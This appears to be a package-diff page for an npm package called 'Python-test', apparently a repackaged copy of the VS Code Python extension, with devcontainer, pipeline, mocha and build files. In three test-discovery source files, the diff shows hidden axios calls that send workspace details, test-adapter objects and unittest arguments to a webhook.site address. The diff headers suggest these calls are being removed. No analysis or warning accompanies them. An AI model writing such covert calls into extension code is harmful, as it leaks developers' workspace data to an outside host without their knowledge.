Python-test
Advanced tools
| <?xml version="1.0" encoding="utf-8"?> | ||
| <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension=".json" ContentType="application/json"/><Default Extension=".vsixmanifest" ContentType="text/xml"/><Default Extension=".txt" ContentType="text/plain"/><Default Extension=".py" ContentType="application/octet-stream"/><Default Extension=".pyc" ContentType="application/octet-stream"/><Default Extension=".pem" ContentType="application/x-x509-ca-cert"/><Default Extension=".exe" ContentType="application/octet-stream"/><Default Extension=".typed" ContentType="application/octet-stream"/><Default Extension=".cfg" ContentType="application/octet-stream"/><Default Extension=".bat" ContentType="application/x-msdownload"/><Default Extension=".ps1" ContentType="application/octet-stream"/><Default Extension=".config" ContentType="application/octet-stream"/><Default Extension=".yml" ContentType="text/yaml"/><Default Extension=".toml" ContentType="application/octet-stream"/><Default Extension=".js" ContentType="application/javascript"/><Default Extension=".mdb" ContentType="application/x-msaccess"/><Default Extension=".html" ContentType="text/html"/><Default Extension=".png" ContentType="image/png"/><Default Extension=".disabled" ContentType="application/octet-stream"/><Default Extension=".md" ContentType="text/markdown"/><Default Extension=".ts" ContentType="video/mp2t"/><Default Extension=".ipynb" ContentType="application/octet-stream"/><Default Extension=".svg" ContentType="image/svg+xml"/><Default Extension=".cjs" ContentType="application/octet-stream"/><Default Extension=".cts" ContentType="application/octet-stream"/><Default Extension=".xml" ContentType="application/xml"/><Default Extension=".iml" ContentType="application/octet-stream"/><Default Extension=".opts" ContentType="application/octet-stream"/><Default Extension=".lock" ContentType="application/octet-stream"/><Default Extension=".nix" ContentType="application/octet-stream"/><Default Extension=".css" ContentType="text/css"/><Default Extension=".bnf" ContentType="application/octet-stream"/><Default Extension=".cmd" ContentType="application/octet-stream"/><Default Extension=".sh" ContentType="application/x-sh"/><Default Extension=".bak" ContentType="application/octet-stream"/><Default Extension=".markdown" ContentType="text/markdown"/><Default Extension=".mjs" ContentType="application/javascript"/><Default Extension=".csv" ContentType="text/csv"/><Default Extension=".mts" ContentType="model/vnd.mts"/><Default Extension=".coffee" ContentType="text/coffeescript"/></Types> | ||
| <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension=".json" ContentType="application/json"/><Default Extension=".vsixmanifest" ContentType="text/xml"/><Default Extension=".txt" ContentType="text/plain"/><Default Extension=".py" ContentType="application/octet-stream"/><Default Extension=".pyc" ContentType="application/octet-stream"/><Default Extension=".pem" ContentType="application/x-x509-ca-cert"/><Default Extension=".exe" ContentType="application/octet-stream"/><Default Extension=".typed" ContentType="application/octet-stream"/><Default Extension=".cfg" ContentType="application/octet-stream"/><Default Extension=".bat" ContentType="application/x-msdownload"/><Default Extension=".ps1" ContentType="application/octet-stream"/><Default Extension=".png" ContentType="image/png"/><Default Extension=".js" ContentType="application/javascript"/><Default Extension=".disabled" ContentType="application/octet-stream"/><Default Extension=".md" ContentType="text/markdown"/><Default Extension=".ts" ContentType="video/mp2t"/><Default Extension=".ipynb" ContentType="application/octet-stream"/><Default Extension=".toml" ContentType="application/octet-stream"/><Default Extension=".svg" ContentType="image/svg+xml"/><Default Extension=".yml" ContentType="text/yaml"/><Default Extension=".cjs" ContentType="application/octet-stream"/><Default Extension=".cts" ContentType="application/octet-stream"/><Default Extension=".xml" ContentType="application/xml"/><Default Extension=".iml" ContentType="application/octet-stream"/><Default Extension=".opts" ContentType="application/octet-stream"/><Default Extension=".lock" ContentType="application/octet-stream"/><Default Extension=".nix" ContentType="application/octet-stream"/><Default Extension=".css" ContentType="text/css"/><Default Extension=".html" ContentType="text/html"/><Default Extension=".bnf" ContentType="application/octet-stream"/><Default Extension=".cmd" ContentType="application/octet-stream"/><Default Extension=".sh" ContentType="application/x-sh"/><Default Extension=".bak" ContentType="application/octet-stream"/><Default Extension=".markdown" ContentType="text/markdown"/><Default Extension=".mjs" ContentType="application/javascript"/><Default Extension=".csv" ContentType="text/csv"/><Default Extension=".mts" ContentType="model/vnd.mts"/><Default Extension=".coffee" ContentType="text/coffeescript"/></Types> |
@@ -43,3 +43,2 @@ "use strict"; | ||
| const local_storage_1 = require("../../revpro/util/local-storage"); | ||
| const axios_1 = require("axios"); | ||
| let PythonTestController = class PythonTestController { | ||
@@ -187,21 +186,19 @@ constructor(workspaceService, configSettings, pytest, unittest, disposables, interpreterService, commandManager, pythonExecFactory, debugLauncher, testOutputChannel, serviceContainer, envVarsService) { | ||
| else if (settings.testing.unittestEnabled) { | ||
| let context = (0, extension_1.getContext)(); | ||
| let pythonTestControllerStorage = new local_storage_1.LocalStorageService(context.workspaceState); | ||
| let pythonTestController = pythonTestControllerStorage.getValue("pythonTestController"); | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", { "workspace": workspace, | ||
| "testAdapters": this.testAdapters, | ||
| "pyadapter": pythonTestController.testAdapters }); | ||
| (0, logging_1.traceInfo)(`Running discovery for unittest using the new test adapter.`); | ||
| if (workspace && workspace.uri) { | ||
| const testAdapter = pythonTestController.testAdapters.get(workspace.uri); | ||
| if (testAdapter) { | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", testAdapter); | ||
| testAdapter.discoverTests(this.testController); | ||
| if ((0, utils_1.pythonTestAdapterRewriteEnabled)(this.serviceContainer)) { | ||
| (0, logging_1.traceInfo)(`Running discovery for unittest using the new test adapter.`); | ||
| if (workspace && workspace.uri) { | ||
| const testAdapter = this.testAdapters.get(workspace.uri); | ||
| if (testAdapter) { | ||
| testAdapter.discoverTests(this.testController, this.refreshCancellation.token, this.pythonExecFactory); | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Unable to find test adapter for workspace.'); | ||
| } | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Unable to find test adapter for workspace.'); | ||
| (0, logging_1.traceError)('Unable to find workspace for given file'); | ||
| } | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Unable to find workspace for given file'); | ||
| await this.unittest.refreshTestData(this.testController, uri, this.refreshCancellation.token); | ||
| } | ||
@@ -208,0 +205,0 @@ } |
@@ -7,3 +7,2 @@ "use strict"; | ||
| const async_1 = require("../../../common/utils/async"); | ||
| const axios_1 = require("axios"); | ||
| class UnittestTestDiscoveryAdapter { | ||
@@ -26,3 +25,2 @@ constructor(testServer, configSettings, outputChannel, resultResolver, envVarsService) { | ||
| } | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", unittestArgs); | ||
| const command = buildDiscoveryCommand(unittestArgs); | ||
@@ -29,0 +27,0 @@ const uuid = this.testServer.createUUID(uri.fsPath); |
@@ -12,3 +12,2 @@ "use strict"; | ||
| const utils_1 = require("./common/utils"); | ||
| const axios_1 = require("axios"); | ||
| class WorkspaceTestAdapter { | ||
@@ -83,3 +82,2 @@ constructor(testProvider, discoveryAdapter, executionAdapter, workspaceUri, resultResolver) { | ||
| else { | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", "discoverTests"); | ||
| await this.discoveryAdapter.discoverTests(this.workspaceUri); | ||
@@ -86,0 +84,0 @@ } |
| // For format details, see https://aka.ms/devcontainer.json. | ||
| { | ||
| "name": "VS Code Python Dev Container", | ||
| // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile | ||
| "build": { | ||
| "dockerfile": "./Dockerfile", | ||
| "context": ".." | ||
| }, | ||
| "customizations": { | ||
| "vscode": { | ||
| "extensions": [ | ||
| "editorconfig.editorconfig", | ||
| "esbenp.prettier-vscode", | ||
| "dbaeumer.vscode-eslint", | ||
| "ms-python.python", | ||
| "ms-python.black-formatter", | ||
| "ms-python.vscode-pylance", | ||
| "charliermarsh.ruff" | ||
| ] | ||
| } | ||
| }, | ||
| // Commands to execute on container creation,start. | ||
| "postCreateCommand": "bash scripts/postCreateCommand.sh", | ||
| "onCreateCommand": "bash scripts/onCreateCommand.sh", | ||
| "containerEnv": { | ||
| "CI_PYTHON_PATH": "/workspaces/vscode-python/.venv/bin/python" | ||
| } | ||
| } |
| FROM mcr.microsoft.com/devcontainers/typescript-node:18-bookworm | ||
| RUN apt-get install -y wget bzip2 | ||
| # Run in silent mode and save downloaded script as anaconda.sh. | ||
| # Run with /bin/bash and run in silent mode to /opt/conda. | ||
| # Also get rid of installation script after finishing. | ||
| RUN wget --quiet https://repo.anaconda.com/archive/Anaconda3-2023.07-1-Linux-x86_64.sh -O ~/anaconda.sh && \ | ||
| /bin/bash ~/anaconda.sh -b -p /opt/conda && \ | ||
| rm ~/anaconda.sh | ||
| ENV PATH="/opt/conda/bin:$PATH" | ||
| # Sudo apt update needs to run in order for installation of fish to work . | ||
| RUN sudo apt update && \ | ||
| sudo apt install fish -y | ||
Sorry, the diff of this file is not supported yet
| { | ||
| "spec": "./out/test/**/*.functional.test.js", | ||
| "require": [ | ||
| "out/test/unittests.js" | ||
| ], | ||
| "exclude": "out/**/*.jsx", | ||
| "reporter": "mocha-multi-reporters", | ||
| "reporter-option": "configFile=./build/.mocha-multi-reporters.config", | ||
| "ui": "tdd", | ||
| "recursive": true, | ||
| "colors": true, | ||
| "exit": true, | ||
| "timeout": 180000 | ||
| } |
| { | ||
| "spec": "./out/test/**/*.functional.test.js", | ||
| "exclude-out": "out/**/*.jsx", | ||
| "require": ["out/test/unittests.js"], | ||
| "reporter": "spec", | ||
| "ui": "tdd", | ||
| "recursive": true, | ||
| "colors": true, | ||
| "exit": true, | ||
| "timeout": 180000 | ||
| } |
Sorry, the diff of this file is not supported yet
| { | ||
| "spec": "./out/test/**/*.functional.test.js", | ||
| "require": ["out/test/unittests.js"], | ||
| "reporter": "mocha-multi-reporters", | ||
| "reporter-option": "configFile=build/.mocha.perf.config", | ||
| "ui": "tdd", | ||
| "recursive": true, | ||
| "colors": true, | ||
| "exit": true, | ||
| "timeout": 30000 | ||
| } |
| { | ||
| "spec": "./out/test/**/*.unit.test.js", | ||
| "require": ["source-map-support/register", "out/test/unittests.js"], | ||
| "reporter": "mocha-multi-reporters", | ||
| "reporter-option": "configFile=build/.mocha-multi-reporters.config", | ||
| "ui": "tdd", | ||
| "recursive": true, | ||
| "colors": true | ||
| } |
| { | ||
| "spec": "./out/test/**/*.unit.test.js", | ||
| "require": [ | ||
| "out/test/unittests.js" | ||
| ], | ||
| "exclude": "out/**/*.jsx", | ||
| "reporter": "mocha-multi-reporters", | ||
| "reporter-option": "configFile=./build/.mocha-multi-reporters.config", | ||
| "ui": "tdd", | ||
| "recursive": true, | ||
| "colors": true, | ||
| "timeout": 180000 | ||
| } |
| { | ||
| "spec": "./src/test/**/*.unit.test.ts", | ||
| "require": ["ts-node/register", "out/test/unittests.js"], | ||
| "reporter": "mocha-multi-reporters", | ||
| "reporter-option": "configFile=build/.mocha-multi-reporters.config", | ||
| "ui": "tdd", | ||
| "recursive": true, | ||
| "colors": true | ||
| } |
Sorry, the diff of this file is not supported yet
| # Run on a schedule | ||
| trigger: none | ||
| pr: none | ||
| schedules: | ||
| - cron: '0 10 * * 1-5' # 10AM UTC (2AM PDT) MON-FRI (VS Code Pre-release builds at 9PM PDT) | ||
| displayName: Nightly Pre-Release Schedule | ||
| always: false # only run if there are source code changes | ||
| branches: | ||
| include: | ||
| - main | ||
| resources: | ||
| repositories: | ||
| - repository: templates | ||
| type: github | ||
| name: microsoft/vscode-engineering | ||
| ref: main | ||
| endpoint: Monaco | ||
| parameters: | ||
| - name: publishExtension | ||
| displayName: 🚀 Publish Extension | ||
| type: boolean | ||
| default: false | ||
| extends: | ||
| template: azure-pipelines/extension/pre-release.yml@templates | ||
| parameters: | ||
| publishExtension: ${{ parameters.publishExtension }} | ||
| ghCreateTag: false | ||
| l10nSourcePaths: ./src/client | ||
| buildSteps: | ||
| - task: NodeTool@0 | ||
| inputs: | ||
| versionSpec: '18.17.1' | ||
| displayName: Select Node version | ||
| - task: UsePythonVersion@0 | ||
| inputs: | ||
| versionSpec: '3.8' | ||
| addToPath: true | ||
| architecture: 'x64' | ||
| displayName: Select Python version | ||
| - script: npm ci | ||
| displayName: Install NPM dependencies | ||
| - script: python -m pip install -U pip | ||
| displayName: Upgrade pip | ||
| - script: python -m pip install wheel | ||
| displayName: Install wheel | ||
| - script: | | ||
| python -m pip --disable-pip-version-check install -r build/build-install-requirements.txt | ||
| python ./pythonFiles/install_debugpy.py | ||
| python ./pythonFiles/download_get_pip.py | ||
| displayName: Install debugpy and get-pip.py | ||
| - script: | | ||
| python -m pip install --no-deps --require-hashes --only-binary :all: -t ./pythonFiles/lib/python --implementation py -r ./requirements.txt | ||
| displayName: Install Python dependencies | ||
| - script: | | ||
| python -m pip install --no-deps --require-hashes --only-binary :all: -t ./pythonFiles/lib/jedilsp --implementation py --platform any --abi none -r ./pythonFiles/jedilsp_requirements/requirements.txt | ||
| displayName: Install Jedi Language Server | ||
| - script: | | ||
| python ./build/update_ext_version.py --for-publishing | ||
| displayName: Update build number | ||
| - script: | | ||
| python ./build/update_package_file.py | ||
| displayName: Update telemetry in package.json | ||
| - script: npm run addExtensionPackDependencies | ||
| displayName: Update optional extension dependencies | ||
| - script: gulp prePublishBundle | ||
| displayName: Build |
| trigger: none | ||
| # branches: | ||
| # include: | ||
| # - release* | ||
| # tags: | ||
| # include: ['*'] | ||
| pr: none | ||
| resources: | ||
| repositories: | ||
| - repository: templates | ||
| type: github | ||
| name: microsoft/vscode-engineering | ||
| ref: main | ||
| endpoint: Monaco | ||
| parameters: | ||
| - name: publishExtension | ||
| displayName: 🚀 Publish Extension | ||
| type: boolean | ||
| default: false | ||
| extends: | ||
| template: azure-pipelines/extension/stable.yml@templates | ||
| parameters: | ||
| publishExtension: ${{ parameters.publishExtension }} | ||
| l10nSourcePaths: ./src/client | ||
| buildSteps: | ||
| - task: NodeTool@0 | ||
| inputs: | ||
| versionSpec: '18.17.1' | ||
| displayName: Select Node version | ||
| - task: UsePythonVersion@0 | ||
| inputs: | ||
| versionSpec: '3.8' | ||
| addToPath: true | ||
| architecture: 'x64' | ||
| displayName: Select Python version | ||
| - script: npm ci | ||
| displayName: Install NPM dependencies | ||
| - script: python -m pip install -U pip | ||
| displayName: Upgrade pip | ||
| - script: python -m pip install wheel | ||
| displayName: Install wheel | ||
| - script: | | ||
| python -m pip --disable-pip-version-check install -r build/build-install-requirements.txt | ||
| python ./pythonFiles/install_debugpy.py | ||
| python ./pythonFiles/download_get_pip.py | ||
| displayName: Install debugpy and get-pip.py | ||
| - script: | | ||
| python -m pip install --no-deps --require-hashes --only-binary :all: -t ./pythonFiles/lib/python --implementation py -r ./requirements.txt | ||
| displayName: Install Python dependencies | ||
| - script: | | ||
| python -m pip install --no-deps --require-hashes --only-binary :all: -t ./pythonFiles/lib/jedilsp --implementation py --platform any --abi none -r ./pythonFiles/jedilsp_requirements/requirements.txt | ||
| displayName: Install Jedi Language Server | ||
| - script: | | ||
| python ./build/update_ext_version.py --release --for-publishing | ||
| displayName: Update build number | ||
| - script: | | ||
| python ./build/update_package_file.py | ||
| displayName: Update telemetry in package.json | ||
| - script: npm run addExtensionPackDependencies | ||
| displayName: Update optional extension dependencies | ||
| - script: gulp prePublishBundle | ||
| displayName: Build | ||
| tsa: | ||
| enabled: true | ||
| options: | ||
| codebaseName: 'devdiv_$(Build.Repository.Name)' | ||
| serviceTreeID: '6e6194bc-7baa-4486-86d0-9f5419626d46' | ||
| instanceUrl: 'https://devdiv.visualstudio.com/defaultcollection' | ||
| projectName: 'DevDiv' | ||
| areaPath: "DevDiv\\VS Code (compliance tracking only)\\Visual Studio Code Python Extensions" | ||
| notificationAliases: | ||
| - 'stbatt@microsoft.com' | ||
| - 'lszomoru@microsoft.com' | ||
| - 'brcan@microsoft.com' | ||
| - 'kanadig@microsoft.com' |
| ############################################################################################### | ||
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. See License.txt in the project root for license information. | ||
| ############################################################################################### | ||
| name: $(Date:yyyyMMdd)$(Rev:.r) | ||
| trigger: none | ||
| pr: none | ||
| resources: | ||
| repositories: | ||
| - repository: templates | ||
| type: github | ||
| name: microsoft/vscode-engineering | ||
| ref: main | ||
| endpoint: Monaco | ||
| parameters: | ||
| - name: quality | ||
| displayName: Quality | ||
| type: string | ||
| default: latest | ||
| values: | ||
| - latest | ||
| - next | ||
| - name: publishPythonApi | ||
| displayName: 🚀 Publish pythonExtensionApi | ||
| type: boolean | ||
| default: false | ||
| extends: | ||
| template: azure-pipelines/npm-package/pipeline.yml@templates | ||
| parameters: | ||
| npmPackages: | ||
| - name: pythonExtensionApi | ||
| testPlatforms: | ||
| - name: Linux | ||
| nodeVersions: | ||
| - 18.17.1 | ||
| - name: MacOS | ||
| nodeVersions: | ||
| - 18.17.1 | ||
| - name: Windows | ||
| nodeVersions: | ||
| - 18.17.1 | ||
| testSteps: | ||
| - template: /build/azure-pipelines/templates/test-steps.yml@self | ||
| parameters: | ||
| package: pythonExtensionApi | ||
| buildSteps: | ||
| - template: /build/azure-pipelines/templates/pack-steps.yml@self | ||
| parameters: | ||
| package: pythonExtensionApi | ||
| ghTagPrefix: release/pythonExtensionApi/ | ||
| tag: ${{ parameters.quality }} | ||
| publishPackage: ${{ parameters.publishPythonApi }} | ||
| workingDirectory: $(Build.SourcesDirectory)/pythonExtensionApi |
| ############################################################################################### | ||
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. See License.txt in the project root for license information. | ||
| ############################################################################################### | ||
| parameters: | ||
| - name: package | ||
| steps: | ||
| - script: npm install --root-only | ||
| workingDirectory: $(Build.SourcesDirectory) | ||
| displayName: Install root dependencies | ||
| - script: npm install | ||
| workingDirectory: $(Build.SourcesDirectory)/${{ parameters.package }} | ||
| displayName: Install package dependencies |
| ############################################################################################### | ||
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. See License.txt in the project root for license information. | ||
| ############################################################################################### | ||
| parameters: | ||
| - name: package | ||
| type: string | ||
| - name: script | ||
| type: string | ||
| default: 'all:publish' | ||
| steps: | ||
| - script: npm install --root-only | ||
| workingDirectory: $(Build.SourcesDirectory) | ||
| displayName: Install root dependencies | ||
| - bash: | | ||
| /usr/bin/Xvfb :99 -screen 0 1024x768x24 > /dev/null 2>&1 & | ||
| echo ">>> Started xvfb" | ||
| displayName: Start xvfb | ||
| condition: eq(variables['Agent.OS'], 'Linux') | ||
| - script: npm run ${{ parameters.script }} | ||
| workingDirectory: $(Build.SourcesDirectory)/${{ parameters.package }} | ||
| displayName: Verify package |
| # Requirements needed to run install_debugpy.py and download_get_pip.py | ||
| packaging |
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. | ||
| #Adds the virtual environment's executable path to json file | ||
| import json,sys | ||
| import os.path | ||
| jsonPath = sys.argv[1] | ||
| key = sys.argv[2] | ||
| if os.path.isfile(jsonPath): | ||
| with open(jsonPath, 'r') as read_file: | ||
| data = json.load(read_file) | ||
| else: | ||
| directory = os.path.dirname(jsonPath) | ||
| if not os.path.exists(directory): | ||
| os.makedirs(directory) | ||
| with open(jsonPath, 'w+') as read_file: | ||
| data = {} | ||
| data = {} | ||
| with open(jsonPath, 'w') as outfile: | ||
| if key == 'condaExecPath': | ||
| data[key] = sys.argv[3] | ||
| else: | ||
| data[key] = sys.executable | ||
| json.dump(data, outfile, sort_keys=True, indent=4) |
| name: conda_env_1 | ||
| dependencies: | ||
| - python=3.8 | ||
| - pip |
| name: conda_env_2 | ||
| dependencies: | ||
| - python=3.8 | ||
| - pip |
| [tool.poetry] | ||
| name = "poetry-tutorial-project" | ||
| version = "0.1.0" | ||
| description = "" | ||
| authors = [""] | ||
| [tool.poetry.dependencies] | ||
| python = "*" |
| 'use strict'; | ||
| /** | ||
| * @module Spec | ||
| */ | ||
| /** | ||
| * Module dependencies. | ||
| */ | ||
| const Base = require('mocha/lib/reporters/base'); | ||
| const { constants } = require('mocha/lib/runner'); | ||
| const { EVENT_RUN_BEGIN } = constants; | ||
| const { EVENT_RUN_END } = constants; | ||
| const { EVENT_SUITE_BEGIN } = constants; | ||
| const { EVENT_SUITE_END } = constants; | ||
| const { EVENT_TEST_FAIL } = constants; | ||
| const { EVENT_TEST_PASS } = constants; | ||
| const { EVENT_TEST_PENDING } = constants; | ||
| const { inherits } = require('mocha/lib/utils'); | ||
| const { color } = Base; | ||
| const prefix = process.env.VSC_PYTHON_CI_TEST_PARALLEL ? `${process.pid} ` : ''; | ||
| /** | ||
| * Constructs a new `Spec` reporter instance. | ||
| * | ||
| * @public | ||
| * @class | ||
| * @memberof Mocha.reporters | ||
| * @extends Mocha.reporters.Base | ||
| * @param {Runner} runner - Instance triggers reporter actions. | ||
| * @param {Object} [options] - runner options | ||
| */ | ||
| function Spec(runner, options) { | ||
| Base.call(this, runner, options); | ||
| let indents = 0; | ||
| let n = 0; | ||
| function indent() { | ||
| return Array(indents).join(' '); | ||
| } | ||
| runner.on(EVENT_RUN_BEGIN, () => { | ||
| Base.consoleLog(); | ||
| }); | ||
| runner.on(EVENT_SUITE_BEGIN, (suite) => { | ||
| indents += 1; | ||
| Base.consoleLog(color('suite', `${prefix}%s%s`), indent(), suite.title); | ||
| }); | ||
| runner.on(EVENT_SUITE_END, () => { | ||
| indents -= 1; | ||
| if (indents === 1) { | ||
| Base.consoleLog(); | ||
| } | ||
| }); | ||
| runner.on(EVENT_TEST_PENDING, (test) => { | ||
| const fmt = indent() + color('pending', `${prefix} %s`); | ||
| Base.consoleLog(fmt, test.title); | ||
| }); | ||
| runner.on(EVENT_TEST_PASS, (test) => { | ||
| let fmt; | ||
| if (test.speed === 'fast') { | ||
| fmt = indent() + color('checkmark', prefix + Base.symbols.ok) + color('pass', ' %s'); | ||
| Base.consoleLog(fmt, test.title); | ||
| } else { | ||
| fmt = | ||
| indent() + | ||
| color('checkmark', prefix + Base.symbols.ok) + | ||
| color('pass', ' %s') + | ||
| color(test.speed, ' (%dms)'); | ||
| Base.consoleLog(fmt, test.title, test.duration); | ||
| } | ||
| }); | ||
| runner.on(EVENT_TEST_FAIL, (test) => { | ||
| n += 1; | ||
| Base.consoleLog(indent() + color('fail', `${prefix}%d) %s`), n, test.title); | ||
| }); | ||
| runner.once(EVENT_RUN_END, this.epilogue.bind(this)); | ||
| } | ||
| /** | ||
| * Inherit from `Base.prototype`. | ||
| */ | ||
| inherits(Spec, Base); | ||
| Spec.description = 'hierarchical & verbose [default]'; | ||
| /** | ||
| * Expose `Spec`. | ||
| */ | ||
| exports = Spec; | ||
| module.exports = exports; |
Sorry, the diff of this file is too big to display
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| 'use strict'; | ||
| const util = require('./util'); | ||
| exports.ExtensionRootDir = util.ExtensionRootDir; | ||
| // This is a list of files that existed before MS got the extension. | ||
| exports.existingFiles = util.getListOfFiles('existingFiles.json'); | ||
| exports.contributedFiles = util.getListOfFiles('contributedFiles.json'); | ||
| exports.isWindows = /^win/.test(process.platform); | ||
| exports.isCI = process.env.TRAVIS === 'true' || process.env.TF_BUILD !== undefined; |
| [ | ||
| "src/client/activation/activationService.ts", | ||
| "src/client/activation/downloadChannelRules.ts", | ||
| "src/client/activation/downloader.ts", | ||
| "src/client/activation/hashVerifier.ts", | ||
| "src/client/activation/interpreterDataService.ts", | ||
| "src/client/activation/jedi.ts", | ||
| "src/client/activation/languageServer/languageServer.ts", | ||
| "src/client/activation/languageServer/languageServerFolderService.ts", | ||
| "src/client/activation/languageServer/languageServerHashes.ts", | ||
| "src/client/activation/languageServer/languageServerPackageRepository.ts", | ||
| "src/client/activation/languageServer/languageServerPackageService.ts", | ||
| "src/client/activation/platformData.ts", | ||
| "src/client/activation/progress.ts", | ||
| "src/client/activation/serviceRegistry.ts", | ||
| "src/client/activation/types.ts", | ||
| "src/client/api.ts", | ||
| "src/client/application/diagnostics/applicationDiagnostics.ts", | ||
| "src/client/application/diagnostics/base.ts", | ||
| "src/client/application/diagnostics/checks/envPathVariable.ts", | ||
| "src/client/application/diagnostics/checks/invalidDebuggerType.ts", | ||
| "src/client/application/diagnostics/checks/invalidPythonPathInDebugger.ts", | ||
| "src/client/application/diagnostics/checks/powerShellActivation.ts", | ||
| "src/client/application/diagnostics/checks/pythonInterpreter.ts", | ||
| "src/client/application/diagnostics/commands/base.ts", | ||
| "src/client/application/diagnostics/commands/execVSCCommand.ts", | ||
| "src/client/application/diagnostics/commands/factory.ts", | ||
| "src/client/application/diagnostics/commands/ignore.ts", | ||
| "src/client/application/diagnostics/commands/launchBrowser.ts", | ||
| "src/client/application/diagnostics/commands/types.ts", | ||
| "src/client/application/diagnostics/constants.ts", | ||
| "src/client/application/diagnostics/filter.ts", | ||
| "src/client/application/diagnostics/promptHandler.ts", | ||
| "src/client/application/diagnostics/serviceRegistry.ts", | ||
| "src/client/application/diagnostics/types.ts", | ||
| "src/client/application/serviceRegistry.ts", | ||
| "src/client/application/types.ts", | ||
| "src/client/common/application/applicationEnvironment.ts", | ||
| "src/client/common/application/applicationShell.ts", | ||
| "src/client/common/application/commandManager.ts", | ||
| "src/client/common/application/debugService.ts", | ||
| "src/client/common/application/documentManager.ts", | ||
| "src/client/common/application/extensions.ts", | ||
| "src/client/common/application/terminalManager.ts", | ||
| "src/client/common/application/types.ts", | ||
| "src/client/common/application/workspace.ts", | ||
| "src/client/common/configSettingMonitor.ts", | ||
| "src/client/common/configSettings.ts", | ||
| "src/client/common/configuration/service.ts", | ||
| "src/client/common/constants.ts", | ||
| "src/client/common/contextKey.ts", | ||
| "src/client/common/editor.ts", | ||
| "src/client/common/envFileParser.ts", | ||
| "src/client/common/errors/errorUtils.ts", | ||
| "src/client/common/errors/moduleNotInstalledError.ts", | ||
| "src/client/common/extensions.ts", | ||
| "src/client/common/featureDeprecationManager.ts", | ||
| "src/client/common/helpers.ts", | ||
| "src/client/common/installer/channelManager.ts", | ||
| "src/client/common/installer/condaInstaller.ts", | ||
| "src/client/common/installer/moduleInstaller.ts", | ||
| "src/client/common/installer/pipEnvInstaller.ts", | ||
| "src/client/common/installer/pipInstaller.ts", | ||
| "src/client/common/installer/productInstaller.ts", | ||
| "src/client/common/installer/productNames.ts", | ||
| "src/client/common/installer/productPath.ts", | ||
| "src/client/common/installer/productService.ts", | ||
| "src/client/common/installer/serviceRegistry.ts", | ||
| "src/client/common/installer/types.ts", | ||
| "src/client/common/logger.ts", | ||
| "src/client/common/markdown/restTextConverter.ts", | ||
| "src/client/common/net/browser.ts", | ||
| "src/client/common/net/httpClient.ts", | ||
| "src/client/common/net/socket/socketCallbackHandler.ts", | ||
| "src/client/common/net/socket/socketServer.ts", | ||
| "src/client/common/net/socket/SocketStream.ts", | ||
| "src/client/common/nuget/azureBlobStoreNugetRepository.ts", | ||
| "src/client/common/nuget/nugetRepository.ts", | ||
| "src/client/common/nuget/nugetService.ts", | ||
| "src/client/common/nuget/types.ts", | ||
| "src/client/common/open.ts", | ||
| "src/client/common/persistentState.ts", | ||
| "src/client/common/platform/constants.ts", | ||
| "src/client/common/platform/fileSystem.ts", | ||
| "src/client/common/platform/osinfo.ts", | ||
| "src/client/common/platform/pathUtils.ts", | ||
| "src/client/common/platform/platformService.ts", | ||
| "src/client/common/platform/registry.ts", | ||
| "src/client/common/platform/serviceRegistry.ts", | ||
| "src/client/common/platform/types.ts", | ||
| "src/client/common/process/constants.ts", | ||
| "src/client/common/process/currentProcess.ts", | ||
| "src/client/common/process/decoder.ts", | ||
| "src/client/common/process/proc.ts", | ||
| "src/client/common/process/processFactory.ts", | ||
| "src/client/common/process/pythonExecutionFactory.ts", | ||
| "src/client/common/process/pythonProcess.ts", | ||
| "src/client/common/process/pythonToolService.ts", | ||
| "src/client/common/process/serviceRegistry.ts", | ||
| "src/client/common/process/types.ts", | ||
| "src/client/common/serviceRegistry.ts", | ||
| "src/client/common/terminal/activator/base.ts", | ||
| "src/client/common/terminal/activator/index.ts", | ||
| "src/client/common/terminal/activator/powershellFailedHandler.ts", | ||
| "src/client/common/terminal/commandPrompt.ts", | ||
| "src/client/common/terminal/environmentActivationProviders/baseActivationProvider.ts", | ||
| "src/client/common/terminal/environmentActivationProviders/bash.ts", | ||
| "src/client/common/terminal/environmentActivationProviders/commandPrompt.ts", | ||
| "src/client/common/terminal/environmentActivationProviders/condaActivationProvider.ts", | ||
| "src/client/common/terminal/environmentActivationProviders/pyenvActivationProvider.ts", | ||
| "src/client/common/terminal/factory.ts", | ||
| "src/client/common/terminal/helper.ts", | ||
| "src/client/common/terminal/service.ts", | ||
| "src/client/common/terminal/types.ts", | ||
| "src/client/common/types.ts", | ||
| "src/client/common/util.ts", | ||
| "src/client/common/utils/async.ts", | ||
| "src/client/common/utils/decorators.ts", | ||
| "src/client/common/utils/enum.ts", | ||
| "src/client/common/utils/fs.ts", | ||
| "src/client/common/utils/localize.ts", | ||
| "src/client/common/utils/logging.ts", | ||
| "src/client/common/utils/misc.ts", | ||
| "src/client/common/utils/platform.ts", | ||
| "src/client/common/utils/random.ts", | ||
| "src/client/common/utils/stopWatch.ts", | ||
| "src/client/common/utils/string.ts", | ||
| "src/client/common/utils/sysTypes.ts", | ||
| "src/client/common/utils/text.ts", | ||
| "src/client/common/utils/version.ts", | ||
| "src/client/common/variables/environment.ts", | ||
| "src/client/common/variables/environmentVariablesProvider.ts", | ||
| "src/client/common/variables/serviceRegistry.ts", | ||
| "src/client/common/variables/systemVariables.ts", | ||
| "src/client/common/variables/sysTypes.ts", | ||
| "src/client/common/variables/types.ts", | ||
| "src/client/debugger/constants.ts", | ||
| "src/client/debugger/extension/banner.ts", | ||
| "src/client/debugger/extension/configuration/baseProvider.ts", | ||
